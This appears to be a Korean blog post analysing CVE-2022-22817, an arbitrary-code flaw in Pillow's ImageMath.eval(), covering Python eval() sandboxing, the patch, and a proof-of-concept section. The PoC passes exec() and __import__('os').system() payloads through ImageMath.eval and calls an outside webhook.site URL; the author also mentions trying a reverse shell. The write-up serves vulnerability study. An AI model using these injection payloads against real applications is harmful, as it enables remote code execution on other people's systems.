Python : PIL.ImageMath.eval() | CVE-2022-22817
CVE - CVE-2022-22817
20220107 Disclaimer: The record creation date may reflect when the CVE ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE.
cve.mitre.org
최신 취약점인 CVE-2022-22817 을 분석해보려고 합니다 !
PIL.ImageMath.eval()에서 임의 표현식을 실행할 수 있다는 취약점입니다.
1. 이론 공부
1.1. PIL이란
Python Imaging Library
이미지 분석 및 처리를 쉽게 도와주는 라이브러리 입니다.
설치 => pip install pillow
1.2. PIL.ImageMath
PIL 안에는 다음과 같이 Image 관련 모듈들이 많이 존재합니다.
그 중에 ImageMath 모듈에 대해서 더 살펴보겠습니다.
=> from PIL import ImageMath
보통 ImageMath를 위에서처럼 이미지 연산을 위해 사용합니다.
ImageMath의 소스 코드 일부를 가져왔습니다.
맨 끝에 eval() 함수가 정의되어 있습니다. 뒤에서 eval()함수 소스코드를 더 자세히 보도록 하겠습니다.
2. eval() 함수
eval() 함수에서 취약점이 발생하는 것이기 때문에 python의 eval()함수를 잘 알아야 합니다.
- 첫번째 인자 : expression 표현식
- string-based 형태
- compiled-code-based 형태
- 두번째 인자 : global 전역변수
- 세번째 인자 : local 지역변수
다음과 같이 사용할 수 있습니다.
사용 예시를 더 보겠습니다.
이렇게 import한 모듈을 사용할 수도 있습니다.
여기서 한 가지 고려해야 할 점은 표현식에 compound statement를 쓸 수 없다는 것입니다.
빨간색 박스친 부분이 그 예시로 import 외에도 if, for, while, del, class도 사용할 수 없습니다.
동일한 동작을 하는 표현식으로 노란색 박스친 부분을 보시면 됩니다.
__import__ 같이 이미 builtin 되어있는 이름을 사용해서 동일한 동작을 할 수 있습니다.
( 보안 )
eval()은 첫번째 인자로 들어가는 표현식을 그대로 실행하기 때문에 사용자로부터 입력받은 것을 적절히 필터링을 해줘야 합니다.
이는 eval()의 실행 환경을 제어함으로써 위험을 최소화 할 수 있습니다.
- 빈 인수 전달
하지만 여전히 Python built-in names에 접근할 수 있습니다.
- __builtins__ 빈 인수 전달
이전의 문제점은 다음과 같이 global 인자에 __builtins__을 빈 인자로 세부적으로 지정해주면 해결할 수 있습니다.
3. CVE, 패치 코드
이제 eval()에 대해 이해했으니 CVE를 다시 보면서 취약한 코드 부분을 보겠습니다.
패치 내용을 보시면 ImageMath.eval에 허용된 builins을 제한했다고 합니다.
패치 후 eval() 함수 코드를 보시면,
scan() 함수가 추가되고 필터링하는 과정이 추가된 것을 볼 수 있습니다.
builtins.eval()을 실행할 때도 global인자에 __builtins 를 abs만 허용하도록 지정해주었습니다.
4. PoC 작성
먼저 취약한 pillow 8.4 버전을 다운로드 합니다.
pip install Pillow==8.4.0
from PIL import ImageMath
mycode='''print("If you can see me, I'm vulnerable.")'''
mycode1='''[print(x**2) for x in [1,2,3,4,5]]'''
out = ImageMath.eval("exec(mycode)", mycode=mycode)
out = ImageMath.eval("exec(mycode1)", mycode1=mycode1)
mycode="""import requests
response=requests.get('https://webhook.site/cce23fb8-1e96-4bf2-af8c-d06a243a1178')"""
out = ImageMath.eval("exec(mycode)",mycode=mycode)
다음은 제 웹사이트에 간단하게 기능을 만들어서 실습해봤습니다.
#웹훅 요청
__import__('requests').get('https://webhook.site/c3d7947a-4b95-4946-ae17-69e44495d8a3')
#시스템 명령어 실행
__import__('os').system("dir");
🙂CVE 후기
이번 CVE는 한달 넘게 잡고 있었지만 실제로 분석한 날은 일주일 정도 본 것 같습니다.
Pillow 공식 문서랑 Python eval 설명이랑.. 영어를 많이 읽었습니다.
최신 취약점이다 보니까 구글링 해보면 분석한 분이 아무도 없었습니다ㅠ
다음에는 조금 레퍼런스 많은 CVE를 해보려고 합니다 ..ㅎㅅㅎ
Python 공부 방법으로 Python CVE 분석하는 것 아주 좋은 것 같습니다 !!
공식문서 자주 보면서 모듈 구조 분석도 하고 파이썬 쉘도 많이 쓰고..
다음 CVE는 아마 지금 개발중인 django 관련 취약점이나 python 취약점일 것 같습니다 !
( Q. 리버스셸 연결이 안되던데 혹시 되신 분 있으면 알려주시길... )